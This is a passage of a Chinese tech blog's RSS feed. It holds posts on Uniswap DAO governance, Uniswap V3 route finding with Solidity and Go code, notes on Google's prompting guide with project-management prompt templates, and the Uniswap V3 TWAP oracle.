协议级别的重大升级、资金分配可以慢几个星期，但一旦出错可能万劫不复。但如果需要快速响应市场变化，DAO治理可能让你错失良机。</p>
<p><strong>3. 治理对象相对客观，不需要太多主观判断</strong>
代码升级、参数调整有相对客观的评判标准。但产品设计、品牌策略这类需要主观判断的决策，DAO往往力不从心。想象一下让几万人投票决定UI颜色——这画面太美我不敢看。</p>
<h3>DAO不适合的场景</h3>
<p><strong>早期项目快速迭代期</strong>：需要"快速试错、快速调整"，民主流程天然与"快速"相冲突。</p>
<p><strong>复杂专业决策</strong>：智能合约安全审计、算法优化等，普通代币持有者投票其实是"伪民主"。</p>
<p><strong>信息不对称场景</strong>：商业谈判、战略合作等无法完全公开的决策。</p>
<h3>混合治理：更现实的选择</h3>
<p>最成功的项目往往采用"混合治理"：</p>
<ul>
<li><strong>核心协议参数</strong>：DAO治理，追求安全和信任</li>
<li><strong>产品迭代</strong>：核心团队主导，追求效率</li>
<li><strong>资金分配</strong>：DAO治理，确保透明</li>
<li><strong>日常运营</strong>：委托专业团队</li>
</ul>
<p>Uniswap实际上也是这样做的——重大决策通过DAO，日常开发还是由专业团队负责。</p>
<h3>给创业者的建议</h3>
<p><strong>先问目的</strong>：治理的目的是获得信任、分散风险，还是因为"DAO很酷"？</p>
<p><strong>从边缘开始</strong>：从社区活动、小额资金分配开始实验，积累经验后再扩大范围。</p>
<p><strong>保留紧急机制</strong>：即使Uniswap也保留了Guardian角色，完全去中心化在现阶段还不现实。</p>
<p>DAO不是万能药，也不是必需品。它更像是一种工具，适合特定的场景和阶段。Uniswap的成功证明了DAO在协议层面的可行性，但不意味着所有项目都应该复制这套模式。</p>
<h2>写在最后</h2>
<p>回过头看，Uniswap的治理系统并不完美，但它找到了一个相对平衡的解决方案。在安全性、效率性和民主性之间，它选择了安全和民主，适度牺牲了效率。</p>
<p>对于我们这些后来者，Uniswap最大的价值不是提供了一个完美的模板，而是证明了去中心化治理是可行的。它用实际行动告诉我们：代码可以是法律，社区可以是正攵府，技术可以服务于更崇高的理想。</p>
<p>也许未来真会出现完全去中心化的组织，但在那之前，我们需要的不是盲目理想主义，而是务实的渐进式探索。就像Uniswap的治理——不完美，但足够好；不激进，但很稳定。</p>
<p>这也是我为什么选择在这个行业深耕的原因——我们不仅仅是在写代码，更是在重新定义人类协作的方式。</p>
]]></content:encoded>
      <category>DeFi</category>
      <pubDate>Wed, 04 Jun 2025 09:56:49 GMT</pubDate>
    </item>
    <item>
      <title>Uniswap V3最优路径算法全解：别再傻傻直接换币了</title>
      <link>https://yangxinmin.com/uniswap-v3-optimal-routing</link>
      <guid isPermaLink="true">https://yangxinmin.com/uniswap-v3-optimal-routing</guid>
      <description>在区块链的世界里，DEX的效率，说白了，直接决定了你交易时能不能“多省点、多赚点”。你有没有遇到过这种情况：在Uniswap V3上把 ETH换成USDC，有时候直接兑换就挺划算的，有时候却发现绕个弯，比如先换成WBTC，再换成USDC，反而能多拿一点？ 这可不是巧合，而是一套精心设计的最优路径查找</description>
      <content:encoded><![CDATA[<p>在区块链的世界里，DEX的效率，说白了，直接决定了你交易时能不能“多省点、多赚点”。你有没有遇到过这种情况：在Uniswap V3上把 ETH换成USDC，有时候直接兑换就挺划算的，有时候却发现绕个弯，比如先换成WBTC，再换成USDC，反而能多拿一点？</p>
<p>这可不是巧合，而是一套精心设计的<strong>最优路径查找算法</strong>在起作用。</p>
<p>写这篇文章，一方面是我想整理一下在项目开发中踩过的坑，因为面试中也经常被问到；另一方面，也想带你一起拆解这个“路径优化”的逻辑。我们先从Uniswap V3的询价机制说起，再聊聊路径查找的算法思路，最后附上实战代码，尽量通俗易懂。</p>
<h2>一、为什么需要路径优化？</h2>
<p>先打个生活中的比方：</p>
<p>假设你想把手里的RMB换成美元，银行告诉你有三种方案：</p>
<ul>
<li>方案1：RMB → 美元（直接兑换，汇率一般）</li>
<li>方案2：RMB → 港币 → 美元（绕一圈，但汇率更好）</li>
<li>方案3：RMB → 欧元 → 英镑 → 美元（路径更长，但意外地最划算）</li>
</ul>
<p>在Uniswap V3中，道理是一样的。不同的交易路径，就像不同的换汇方案，最终的收益可能大相径庭。</p>
<p>现在回到Uniswap中，假设你想把ETH换成USDC，有以下可能的路径：</p>
<ul>
<li>路径1：ETH → USDC（直接交换）</li>
<li>路径2：ETH → WBTC → USDC（经过中间代币）</li>
<li>路径3：ETH → DAI → USDT → USDC（多跳路径）</li>
</ul>
<p>虽然直觉上直接交换似乎更简单，但实际上不同路径可能产生不同的交易结果，这取决于：</p>
<ul>
<li><strong>流动性深度</strong>：各个交易对的流动性大小</li>
<li><strong>价格滑点</strong>：大额交易对价格的影响程度</li>
<li><strong>交易费率</strong>：不同池子的费率设置（0.05%、0.3%、1%）</li>
</ul>
<p>通过寻找最优路径，一笔交易可能节省2%-5%甚至更多的成本，对交易金额大的用户来说尤为重要。</p>
<h2>二、Uniswap V3询价架构设计</h2>
<h3>2.1 询价工具：Quoter合约</h3>
<p>Uniswap V3提供了专门的询价合约：</p>
<ul>
<li><strong>Quoter.sol</strong>：基础版询价合约，返回交易结果</li>
<li><strong>QuoterV2.sol</strong>：增强版询价合约，额外返回价格状态和tick穿越数</li>
</ul>
<p>这些合约的核心功能是 <strong>"模拟交易"</strong>：它们会计算交易的预期结果，但不实际执行交易，非常适合路径查询。</p>
<h3>2.2 巧妙的 revert 模式</h3>
<p>Uniswap V3的询价机制用了一个有趣的技巧 —— <strong>通过 revert 返回数据</strong>：</p>
<pre><code class="language-solidity">// v3-periphery/contracts/lens/QuoterV2.sol
// 询价合约中的回调函数
function uniswapV3SwapCallback(
    int256 amount0Delta,
    int256 amount1Delta,
    bytes memory path
) external view override {
    // ......

    // 计算交换结果
    (bool isExactInput, uint256 amountToPay, uint256 amountReceived) =
        amount0Delta > 0
            ? (tokenIn &#x3C; tokenOut, uint256(amount0Delta), uint256(-amount1Delta))
            : (tokenOut &#x3C; tokenIn, uint256(amount1Delta), uint256(-amount0Delta));

    // 获取交换后的价格状态
    IUniswapV3Pool pool = getPool(tokenIn, tokenOut, fee);
    (uint160 sqrtPriceX96After, int24 tickAfter, , , , , ) = pool.slot0();

    // 通过revert返回计算结果
    if (isExactInput) {
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, amountReceived)           // 输出数量
            mstore(add(ptr, 0x20), sqrtPriceX96After)  // 交换后价格
            mstore(add(ptr, 0x40), tickAfter)     // 交换后tick
            revert(ptr, 96) // 故意revert，但携带96字节的有用数据
        }
    } else {
        // 精确输出的情况...
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, amountToPay)
            mstore(add(ptr, 0x20), sqrtPriceX96After)
            mstore(add(ptr, 0x40), tickAfter)
            revert(ptr, 96) // 故意revert返回数据
        }
    }
}

// 主要询价函数
function quoteExactInputSingle(QuoteExactInputSingleParams memory params)
    public
    override
    returns (uint256 amountOut, uint160 sqrtPriceX96After, uint32 initializedTicksCrossed, uint256 gasEstimate)
{
    uint256 gasBefore = gasleft();

    try
        pool.swap(
            address(this), // recipient
            params.zeroForOne,
            params.amountIn.toInt256(),
            params.sqrtPriceLimitX96 == 0 ? getDefaultSqrtPriceLimitX96(params.zeroForOne) : params.sqrtPriceLimitX96,
            abi.encodePacked(params.tokenIn, params.fee, params.tokenOut)
        )
    {} catch (bytes memory reason) {  // 捕获 故意的错误
        gasEstimate = gasBefore - gasleft();
        return handleRevert(reason, pool, gasEstimate); // 从错误中提取数据
    }
}

/// @dev 解析应包含询价结果的回滚数据
function parseRevertReason(bytes memory reason)
    private
    pure
    returns (
        uint256 amount,           // 从错误中解析出金额
        uint160 sqrtPriceX96After, // 从错误中解析出价格
        int24 tickAfter           // 从错误中解析出tick
    )
{
    if (reason.length != 96) {  // 检查是否是我们故意构造的96字节错误
        if (reason.length &#x3C; 68) revert('Unexpected error');
        assembly {
            reason := add(reason, 0x04)
        }
        revert(abi.decode(reason, (string))); // 处理真正的错误
    }
    return abi.decode(reason, (uint256, uint160, int24)); // 解码我们的数据
}

</code></pre>
<p><strong>工作流程</strong>：</p>
<ol>
<li>询价合约调用 Pool 的 swap 函数"模拟"交易</li>
<li>交易计算完成后触发回调</li>
<li>回调函数计算结果，然后通过 revert 将结果数据"返回"</li>
<li>外部调用通过捕获这个 revert 获取结果</li>
</ol>
<p>具体到方法就是：
<code>QuoterV2.quoteExactInputSingle()</code> → <code>pool.swap()</code> → <code>QuoterV2.uniswapV3SwapCallback()</code> → <code>assembly{revert(ptr, 96)}</code> → <code>try-catch</code> 捕获异常 → <code>parseRevertReason()</code> 解析数据</p>
<p>这种设计的好处是：</p>
<ul>
<li><strong>无需真实转账</strong>：只计算结果，不实际改变状态</li>
<li><strong>节省 gas</strong>：避免写入状态的高额费用</li>
<li><strong>精确模拟</strong>：计算准确反映真实交易结果</li>
</ul>
<p>了解了Uniswap V3的询价机制后，我们来看看如何实际构建一个路径查找系统。</p>
<h2>三、路径查找的核心算法</h2>
<p>要找到最优交易路径，需要实现以下关键步骤：</p>
<h3>3.1 构建交易图</h3>
<p>首先建立一个表示代币间交易关系的图结构：</p>
<pre><code class="language-go">// 池子结构
type Pool struct {
    Token0 common.Address  // 第一个代币
    Token1 common.Address  // 第二个代币
    Fee    int64           // 交易费率（5 = 0.05%, 30 = 0.3%, 100 = 1%）
    // 其他池子信息...
}

// 构建交易图
func buildGraph(pools []Pool) map[string]map[string][]Pool {
    graph := make(map[string]map[string][]Pool)

    for _, pool := range pools {
        // 将池子添加为双向边
        addToGraph(graph, pool.Token0.Hex(), pool.Token1.Hex(), pool)
        addToGraph(graph, pool.Token1.Hex(), pool.Token0.Hex(), pool)
    }

    return graph
}

func addToGraph(graph map[string]map[string][]Pool, from, to string, pool Pool) {
    if _, exists := graph[from]; !exists {
        graph[from] = make(map[string][]Pool)
    }

    graph[from][to] = append(graph[from][to], pool)
}

</code></pre>
<h3>3.2 使用深度优先搜索找出可能路径</h3>
<pre><code class="language-go">// 使用DFS查找所有可能路径
func findAllPaths(graph map[string]map[string][]Pool,
                 start, end common.Address,
                 maxHops int) []Path {

    var paths []Path
    visited := make(map[string]bool)
    currentPath := Path{
        Tokens: []common.Address{start},
        Pools:  []Pool{},
        Fees:   []int64{},
    }

    // 深度优先搜索
    var dfs func(current common.Address, depth int)
    dfs = func(current common.Address, depth int) {
        // 达到目标代币
        if current == end &#x26;&#x26; depth > 0 {
            pathCopy := copyPath(currentPath)
            paths = append(paths, pathCopy)
            return
        }

        // 超出最大跳数
        if depth >= maxHops {
            return
        }

        // 标记当前节点为已访问
        visited[current.Hex()] = true

        // 遍历所有相邻节点
        for neighbor, pools := range graph[current.Hex()] {
            neighborAddr := common.HexToAddress(neighbor)
            if !visited[neighbor] {
                for _, pool := range pools {
                    // 将邻居添加到路径
                    currentPath.Tokens = append(currentPath.Tokens, neighborAddr)
                    currentPath.Pools = append(currentPath.Pools, pool)
                    currentPath.Fees = append(currentPath.Fees, pool.Fee)

                    // 递归搜索
                    dfs(neighborAddr, depth+1)

                    // 回溯 - 从当前路径中移除刚添加的节点，以便尝试其他可能路径
                    currentPath.Tokens = currentPath.Tokens[:len(currentPath.Tokens)-1]
                    currentPath.Pools = currentPath.Pools[:len(currentPath.Pools)-1]
                    currentPath.Fees = currentPath.Fees[:len(currentPath.Fees)-1]
                }
            }
        }

        // 取消标记
        visited[current.Hex()] = false
    }

    dfs(start, 0)
    return paths
}

</code></pre>
<h3>3.3 路径编码</h3>
<p>Uniswap V3要求将交易路径编码为特定格式：按照<code>token0(20字节) + fee(3字节) + token1(20字节) + fee(3字节) + token2(20字节)...</code>的格式编码，最后一个代币后不添加费率：</p>
<pre><code class="language-go">// 路径结构
type Path struct {
    Pools  []Pool
    Tokens []common.Address
    Fees   []int64
}

// 将路径编码为字节
func (path *Path) ToBytes() []byte {
    result := []byte{}

    // 交替添加代币地址和费率
    for i := 0; i &#x3C; len(path.Tokens); i++ {
        // 添加代币地址
        result = append(result, path.Tokens[i].Bytes()...)

        // 添加费率（如果不是最后一个代币）
        if i &#x3C; len(path.Fees) {
            // 将费率转换为3字节
            feeBytes := make([]byte, 3)
            feeInt := big.NewInt(path.Fees[i])
            feeBytes = common.LeftPadBytes(feeInt.Bytes(), 3)
            result = append(result, feeBytes...)
        }
    }

    return result
}

</code></pre>
<h3>3.4 询价和选择最优路径</h3>
<p>对每条可能路径进行询价，选择输出最大（即能兑换出最多目标代币）的路径：</p>
<pre><code class="language-go">// 询价结果结构
type QuoteResult struct {
    AmountOut                   *big.Int
    SqrtPriceX96AfterList       []*big.Int
    InitializedTicksCrossedList []uint32
    GasEstimate                 *big.Int
}

// 对所有路径询价并找出最优路径
func findBestPath(ctx context.Context,
                 client *ethclient.Client,
                 quoterAddress common.Address,
                 paths []Path,
                 amountIn *big.Int) (Path, *QuoteResult) {

    bestAmount := big.NewInt(0)
    var bestPath Path
    var bestResult QuoteResult

    for _, path := range paths {
        // 编码路径
        encodedPath := path.ToBytes()

        // 调用Quoter合约
        result, err := quoteExactInput(
            ctx, client, quoterAddress, encodedPath, amountIn)

        if err != nil {
            continue
        }

        // 更新最优路径
        if result.AmountOut.Cmp(bestAmount) > 0 {
            bestAmount = result.AmountOut
            bestPath = path
            bestResult = *result
        }
    }

    return bestPath, &#x26;bestResult
}

</code></pre>
<p>基础的路径查找算法已经能够工作，但在生产环境中，我们还需要考虑性能优化和实际应用中的各种问题。</p>
<h2>四、高级优化技巧</h2>
<p>基础路径查找解决了"选哪条路"的问题，但在生产环境中，还有更复杂的优化空间：</p>
<h3>资金拆分与梯度下降</h3>
<p>对于大额交易，不是把所有资金走一条最优路径，而是智能拆分到多条路径。通过梯度下降算法优化资金分配，让每条路径的边际收益趋于相等，从而最大化总收益。这能为大额交易额外节省5%-15%的成本。</p>
<h3>缓存策略与并发优化</h3>
<p>包括热门路径结果缓存、Multicall批量询价、智能路径预排序等工程优化技巧。</p>
<p>这些深度优化涉及复杂的数学建模和系统设计。限于篇幅，具体算法实现就不在这里展开了，你可以让AI帮助你实现。</p>
<p>在我的知识星球中有完整的方案和代码实现，感兴趣的你可以自取。</p>
<h2>五、实战技巧与注意事项</h2>
<p>在实际应用中，还有一些重要的细节需要注意：</p>
<p><strong>流动性实时监控</strong></p>
<p>市场瞬息万变，昨天最优的路径今天可能就不行了。定期检查各个池子的流动性状况，及时调整策略。</p>
<p><strong>错误处理要做好</strong></p>
<p>网络会断，合约会失败，这些都是常事。做好降级方案，比如当主要路径失败时，能快速切换到备用方案。</p>
<p><strong>考虑Gas成本</strong></p>
<p>有时候最省代币的路径需要消耗更多Gas。对于小额交易，Gas费可能比节省的代币还多，得不偿失。</p>
<p><strong>价格波动保护</strong></p>
<p>在高波动市场中，价格可能在你查询和实际交易之间发生大幅变化。设置合理的滑点保护很重要。</p>
<p><strong>并发控制</strong></p>
<p>当很多用户同时查询时，要合理控制对区块链节点的访问频率，避免被限流。</p>
<h2>总结</h2>
<p>通过这套完整的路径查找系统，你可以：</p>
<ol>
<li><strong>为用户节省交易成本</strong>：平均为每笔交易节省2%-5%的费用</li>
<li><strong>提升应用竞争力</strong>：提供比直接交易更优的价格</li>
<li><strong>构建核心技术壁垒</strong>：掌握DEX聚合器的核心算法</li>
</ol>
<p>无论你是在开发DEX聚合器、构建交易机器人，还是为DeFi项目集成最优路径功能，这套技术都能为你的产品带来显著的用户体验提升。</p>
]]></content:encoded>
      <category>DeFi</category>
      <pubDate>Fri, 30 May 2025 10:32:16 GMT</pubDate>
    </item>
    <item>
      <title>Google教你写好提示词，让AI更高效为你服务</title>
      <link>https://yangxinmin.com/google-prompt-engineering</link>
      <guid isPermaLink="true">https://yangxinmin.com/google-prompt-engineering</guid>
      <description>说在前面 在AI大模型和应用迅速“碾压”传统工作方式的今天，我常思考，作为人类，如何驾驭AI，提升个人能力和工作效率，成为新的成长方向。 面对AI的飞速发展，如何通过精准的提示词与AI对话，最大化地发挥其潜力？我不禁问自己：“用了这么久AI，我真的会写提示词了吗？” 最近，我仔细阅读了Google发</description>
      <content:encoded><![CDATA[<h2>说在前面</h2>
<p>在AI大模型和应用迅速“碾压”传统工作方式的今天，我常思考，作为人类，如何驾驭AI，提升个人能力和工作效率，成为新的成长方向。</p>
<p>面对AI的飞速发展，如何通过精准的提示词与AI对话，最大化地发挥其潜力？我不禁问自己：“用了这么久AI，我真的会写提示词了吗？”</p>
<p>最近，我仔细阅读了Google发布的《<a href="https://services.google.com/fh/files/misc/gemini-for-google-workspace-prompting-guide-101.pdf">Gemini for Google Workspace Prompting Guide 101</a>》。这篇文章深入讲解了如何编写高效提示词，并结合不同职场角色（如销售、运营、经理人等）提供了多个实际应用示例，非常实用，建议你也通读一遍。</p>
<p>结合我的技术背景和实际需求，我整理出了以下笔记，希望能给你带来一些启发。</p>
<h2>一、关键技巧与公式</h2>
<h3>1. 基本提示词公式</h3>
<p>如何写好提示词？在文章中提到最多的就是以下公式：</p>
<pre><code class="language-markdown">角色 + 任务 + 上下文 + 格式要求 = 有效提示词

</code></pre>
<p><strong>核心元素解析</strong></p>
<ul>
<li><strong>角色定义</strong>：明确告诉AI你希望它以什么身份回应</li>
<li><strong>任务描述</strong>：清晰指出你希望完成的具体目标</li>
<li><strong>上下文提供</strong>：提供必要的背景信息和约束条件</li>
<li><strong>格式规范</strong>：指定输出的具体格式和结构要求</li>
</ul>
<h3>2. CRISPE提示词框架</h3>
<p>文章提出了一种叫<code>CRISPE</code>提示词框架：</p>
<pre><code class="language-markdown">Capacity（能力）+ Role（角色）+ Instruction（指令）+ Specifics（细节）+ Personality（个性）+ Examples（示例）

</code></pre>
<ul>
<li><strong>能力</strong>：指定AI应使用哪些能力/技能</li>
<li><strong>角色</strong>：定义AI应扮演的专业角色</li>
<li><strong>指令</strong>：提供明确的行动指示</li>
<li><strong>细节</strong>：包含关键信息和具体要求</li>
<li><strong>个性</strong>：设定回应的语气和风格</li>
<li><strong>示例</strong>：提供期望输出的样例</li>
</ul>
<h3>3. 有效提示词的关键特征</h3>
<ul>
<li><strong>具体明确</strong>：避免模糊不清的表述，提供足够详细的信息</li>
<li><strong>结构化</strong>：采用清晰的层级结构，使用编号或要点</li>
<li><strong>目的驱动</strong>：明确说明预期目标和输出用途</li>
<li><strong>迭代优化</strong>：根据返回结果不断调整和改进提示词</li>
</ul>
<h3>4. 提示词优化技巧</h3>
<ul>
<li><strong>先宽后窄</strong>：先提出广泛需求，再逐步缩小范围</li>
<li><strong>分步指导</strong>：将复杂任务分解为连续的简单步骤</li>
<li><strong>设定约束</strong>：明确说明不要做什么或避免什么</li>
<li><strong>提供示例</strong>：展示期望的输出格式和内容示例</li>
<li><strong>使用标记符号</strong>：利用引号、括号等标记关键词或指令</li>
</ul>
<h2>二、技术项目经理相关提示词示例</h2>
<h3>1. 项目规划与管理</h3>
<pre><code class="language-markdown">你是一位资深技术项目经理，请帮我为[项目名称]制定一份详细的项目计划。该项目涉及[技术领域]，团队规模为[人数]人，预计周期为[时间]。请包含以下内容：
1. 项目分解结构(WBS)
2. 里程碑设定与关键路径
3. 资源分配计划
4. 风险评估与缓解策略
5. 敏捷冲刺规划
格式要求：以甘特图可视化形式呈现时间线，每个任务包含负责人、预估工时和依赖关系。

</code></pre>
<blockquote>
<p>注意：提示词中的[]内容，可以根据实际需求进行替换。</p>
</blockquote>
<h3>2. 技术决策文档生成</h3>
<pre><code class="language-markdown">作为精通技术架构的项目经理，请为我创建一份技术决策文档(TDD)。我们需要在[技术选择A]和[技术选择B]之间做出决定，用于解决[具体问题]。
请分析以下维度：
1. 技术成熟度与生态系统
2. 团队熟悉程度与学习曲线
3. 性能与扩展性比较
4. 安全与合规考量
5. 长期维护与总体拥有成本
6. 与现有技术栈的兼容性

输出格式：Markdown表格比较两种方案，并在最后提供明确的推荐意见和实施路径。

</code></pre>
<h3>3. 利益相关者沟通计划</h3>
<pre><code class="language-markdown">你是擅长沟通的技术项目经理，请帮我设计一份针对[项目名称]的利益相关者沟通计划。项目涉及[多个部门/团队]，包括[列出关键利益相关者]。

请按照以下结构设计沟通计划：
1. 利益相关者分析矩阵（影响力/兴趣网格）
2. 沟通频率与渠道（针对不同级别利益相关者）
3. 关键信息传递策略（针对技术/非技术人员）
4. 项目状态报告模板
5. 向上管理与风险沟通协议

输出要求：提供一份简洁的沟通策略表格，以及可用于不同场景的沟通模板示例。

</code></pre>
<h3>4. 技术债识别与管理</h3>
<pre><code class="language-markdown">作为熟悉技术债务管理的项目经理，请帮我评估现有[项目/系统名称]中的技术债务，并提出管理计划。系统存在以下问题：[列出已知问题]。

请包含：
1. 技术债务分类（代码质量、架构、依赖、文档等方面）
2. 严重性与影响评估（使用高/中/低量表）
3. 偿还优先级矩阵（基于业务影响与偿还成本）
4. 渐进式偿还计划（与功能开发并行）
5. 防止技术债务累积的工程实践建议

输出格式：表格形式的技术债务清单，每项包含来源、影响、偿还难度、建议时间表和负责团队。

</code></pre>
<h3>5. 敏捷团队绩效提升</h3>
<pre><code class="language-markdown">你是一位专注于敏捷实践的技术项目经理，我的团队在使用Scrum方法开发[项目类型]项目时遇到了[具体问题]。团队规模为[人数]人，已经运行了[时间]。

请帮我：
1. 诊断当前敏捷实施中可能存在的问题
2. 提供具体的改进建议（关于站会、计划会、回顾会等仪式）
3. 设计适合我们情况的团队绩效度量指标
4. 推荐能够帮助团队提高自组织能力的工具和技术
5. 制定一个为期30天的改进实施计划

输出要求：提供分步实施指南，每步包含具体行动、预期结果和进度评估方法。

</code></pre>
<h3>6. 跨职能团队协作框架</h3>
<pre><code class="language-markdown">作为管理跨职能团队的技术项目经理，请为我设计一个协作框架，以提高[开发团队、设计团队、测试团队、运维团队]之间的协作效率。项目使用[开发方法论]，主要挑战是[描述当前协作困难]。

框架应包含：
1. 清晰的责任分配矩阵(RACI)
2. 关键决策点与决策流程
3. 信息共享机制与工具推荐
4. 跨团队协作会议结构
5. 冲突解决协议
6. 共同成功的绩效指标

输出格式：提供图表化的协作模型，以及针对每个团队的具体职责和交付物清单。

</code></pre>
<h3>7. 技术迁移风险评估</h3>
<pre><code class="language-markdown">你是负责技术迁移的项目经理，我们计划将[系统/应用]从[当前环境]迁移到[目标环境]。请帮我进行全面的风险评估并制定缓解策略。

请包含以下方面的分析：
1. 数据完整性与丢失风险
2. 服务中断与业务连续性
3. 性能与用户体验影响
4. 安全漏洞与合规问题
5. 回滚计划与失败保障
6. 团队能力差距与培训需求

输出要求：提供风险热图，详细的风险登记表，以及针对高风险项的详细缓解计划和应急预案。

</code></pre>
<h2>三、提示词的实践应用与最佳实践</h2>
<h3>1. 渐进式提示技术</h3>
<p>通过多轮对话逐步完善结果，而不是试图在单次提示中获取完美输出。这种方法特别适合复杂的技术项目需求：</p>
<pre><code class="language-markdown">第一轮：「作为技术项目经理，请概述实施微服务架构的主要阶段。」
第二轮：「针对前面提到的第二阶段，请详细说明服务边界划分的最佳实践。」
第三轮：「请为我们的电商项目提供一个具体的服务划分示例，考虑到订单、库存和用户模块。」

</code></pre>
<h3>2. 上下文增强策略</h3>
<p>提供足够的背景信息和约束条件，帮助AI更准确理解你的项目环境：</p>
<pre><code class="language-markdown">「我们是一家中型金融科技公司，有15名开发人员，主要使用Java和React技术栈。正在考虑将单体应用拆分为微服务。团队对Docker有经验，但Kubernetes经验有限。预算有限，需要分阶段实施，优先考虑核心交易功能。请基于这些约束，设计一个可行的技术迁移路线图。」

</code></pre>
<h3>3. 评估与反馈循环</h3>
<p>明确指示AI进行自我评估并提供改进机会：</p>
<pre><code class="language-markdown">「请先提出三种可能的API设计方案，然后分析每种方案的优缺点，最后给出你认为最适合我们情况的方案，并说明理由。如果你认为缺少关键信息来做出最佳建议，请指出你需要了解的关键信息。」

</code></pre>
<h3>4. 文档模板定制化</h3>
<p>利用AI创建适合团队特定需求的文档模板：</p>
<pre><code class="language-markdown">「作为技术项目文档专家，请为敏捷团队设计一个精简但完整的技术规格文档模板，适用于微服务开发。模板应包含必要的架构决策、API接口定义、数据模型和依赖关系，但要避免传统瀑布方法中过度详细的规范。目标是平衡文档价值与敏捷开发速度。」

</code></pre>
<h2>四、总结</h2>
<p>通过深入研究Google的Gemini提示词指南，我发现高效提示词的核心在于“<code>角色+任务+上下文+格式要求</code>”这一基本公式，以及更全面的<code>CRISPE</code>框架。</p>
<p>无论你是职场新人，还是经验丰富的行业专家，掌握高效的提示词写作技巧，都能帮助你提高与AI的互动效率。通过精确的提示，AI能更好地理解我们的需求，从而提供更准确的帮助和建议。比如，项目规划、技术决策文档、跨团队协作框架，甚至日常的风险评估，这些场景都能通过有效提示词提升工作效率。</p>
<p>我认为，提示词工程的精髓不仅仅在于写出精准的要求，还在于<strong>渐进式交流和情境增强</strong>——不要期望一次提问就获得完美答案，而是通过多轮对话逐步引导AI，并提供足够的背景信息和约束条件，让AI更好地理解你的需求。</p>
<p>这不仅是技巧，更是一项需要持续练习的技能。我们可以记录成功的提示词模式，分析哪些元素带来更好结果，并与他人分享有效的模板，逐步完善我们的提示词库。</p>
<p>掌握这些技巧，不仅仅是为了与AI更好地“聊天”，更重要的是将AI无缝集成到工作流程中，让它成为我们思考、决策和创造的得力助手。</p>
<p>你有什么独特的提示词技巧或经验？欢迎在评论区留言分享！</p>
]]></content:encoded>
      <category>AI</category>
      <pubDate>Thu, 15 May 2025 09:11:54 GMT</pubDate>
    </item>
    <item>
      <title>用人话解释Uniswap V3价格预言机的实现原理</title>
      <link>https://yangxinmin.com/uniswap-v3-price-oracle</link>
      <guid isPermaLink="true">https://yangxinmin.com/uniswap-v3-price-oracle</guid>
      <description>在加密世界里，价格波动如同坐过山车，瞬时价格往往并不靠谱。为了更真实地反映市场趋势，时间加权平均价格（TWAP）应运而生：它通过对价格在时间维度上的加权平均，提供一种抗操纵、更稳健的价格参考，广泛应用于清算触发、估值定价等关键场景。 在去中心化金融（DeFi）中，预言机通常承担着链上合约与外部数据之</description>
      <content:encoded><![CDATA[<p>在加密世界里，价格波动如同坐过山车，瞬时价格往往并不靠谱。为了更真实地反映市场趋势，<strong>时间加权平均价格（TWAP）应运而生：它通过对价格在时间维度上的加权平均，提供一种抗操纵、更稳健</strong>的价格参考，广泛应用于清算触发、估值定价等关键场景。</p>
<p>在去中心化金融（DeFi）中，预言机通常承担着链上合约与外部数据之间的桥梁角色。但在 <strong>Uniswap V3</strong> 中，有一种<strong>无需外部喂价的原生链上预言机机制</strong>——TWAP。</p>
<p>本文我将向你通俗易懂地解释，Uniswap是如何用极小的成本和巧妙的设计，高效地实现这一功能的。</p>
<h2>🌟 什么是TWAP？</h2>
<p>TWAP的本质就是：<strong>在一段时间内，对价格按"时间"进行加权平均</strong>。</p>
<p>举个简单的例子：</p>
<ul>
<li>第1小时，苹果价格是 3 元</li>
<li>第2小时，涨到 5 元</li>
<li>第3小时，降到 4 元</li>
</ul>
<p>那么 3 小时的 TWAP = (3×1 + 5×1 + 4×1) ÷ 3 = 4 元</p>
<p>它不是简单的当前价格，而是更能反映某段时间内整体市场的平均水平。也正因为此，它具备一定的抗操纵能力。</p>
<h2>🧩 V3是怎么实现TWAP的？</h2>
<p>你可能以为 TWAP 需要不断记录"每一刻的价格"，再计算平均——这样太费 gas，也太不优雅了。</p>
<p>Uniswap V3 的设计非常聪明：它<strong>不直接记录价格，而是记录价格的"累积值"</strong>。</p>
<h3>🔢 tickCumulative：价格 × 时间 的累积值</h3>
<p>Uniswap 中的价格不是普通意义上的"数字"，而是以 tick 记录的，tick 是价格以 1.0001 为底的对数值（即 tick = log₁.₀₀₀₁(price)）。</p>
<p>每次 swap 发生（价格变化），Uniswap 都会记录一个叫 <code>tickCumulative</code> 的值，它代表从池子创建到当前时刻，所有 tick × 时间 的累加值。</p>
<pre><code class="language-solidity">// v3-core/contracts/libraries/Oracle.sol 中的关键代码片段
function transform(
    Observation memory last,
    uint32 blockTimestamp,
    int24 tick,
    uint128 liquidity
) private pure returns (Observation memory) {
    uint32 delta = blockTimestamp - last.blockTimestamp;
    return Observation({
        blockTimestamp: blockTimestamp,
        // 关键计算：累加 tick × 时间
        tickCumulative: last.tickCumulative + int56(tick) * delta,
        // ...其他字段
    });
}

</code></pre>
<p>通俗类比：</p>
<blockquote>
<p>你每天记录一下苹果的"价格 × 天数"加总值：3×1 + 5×1 + 4×1…… tickCumulative 就是类似这样的累积器。</p>
</blockquote>
<p><strong>有了这个值，就能这样计算平均价格：</strong></p>
<pre><code>平均 tick = (tickCumulative_当前 - tickCumulative_过去) / 经过的秒数
价格 = 1.0001^平均tick

</code></pre>
<h3>实际计算示例</h3>
<p>假设我们查询到：</p>
<ul>
<li>1小时前的 tickCumulative = 10,000,000</li>
<li>现在的 tickCumulative = 10,020,000</li>
<li>时间差 = 3,600秒</li>
</ul>
<p>则：</p>
<ul>
<li>平均tick = (10,020,000 - 10,000,000) / 3,600 = 5.56</li>
<li>平均价格 = 1.0001^5.56 ≈ 1.0006 ETH/USDC</li>
</ul>
<h3>💧 secondsPerLiquidityCumulativeX128：流动性也计权</h3>
<p>除了价格，Uniswap 还记录一个更复杂但有用的值：
<code>secondsPerLiquidityCumulativeX128</code></p>
<p>它衡量的是"<strong>每单位流动性所经历的时间</strong>"。</p>
<p>为什么要关注这个？
因为有时候，你希望计算"流动性多时"更可信的平均价格（比如某个币价在高流动性时稳定，低流动性时波动剧烈）。这个值可以辅助进行<strong>流动性加权平均价格的估算</strong>。</p>
<h2>💡 TWAP的底层设计巧思</h2>
<h3>🌀 观察数组（Observations）</h3>
<p>Uniswap 用一个环形数组存储历史的观察点，每个观察点包含时间戳、tickCumulative、流动性累积等信息。虽然理论上最多支持<code>65535</code>项，但实际上多数池子只使用几十到几百个观察点，平衡了存储成本和历史数据需求。</p>
<p>这个结构既节省空间，又支持高效循环更新。</p>
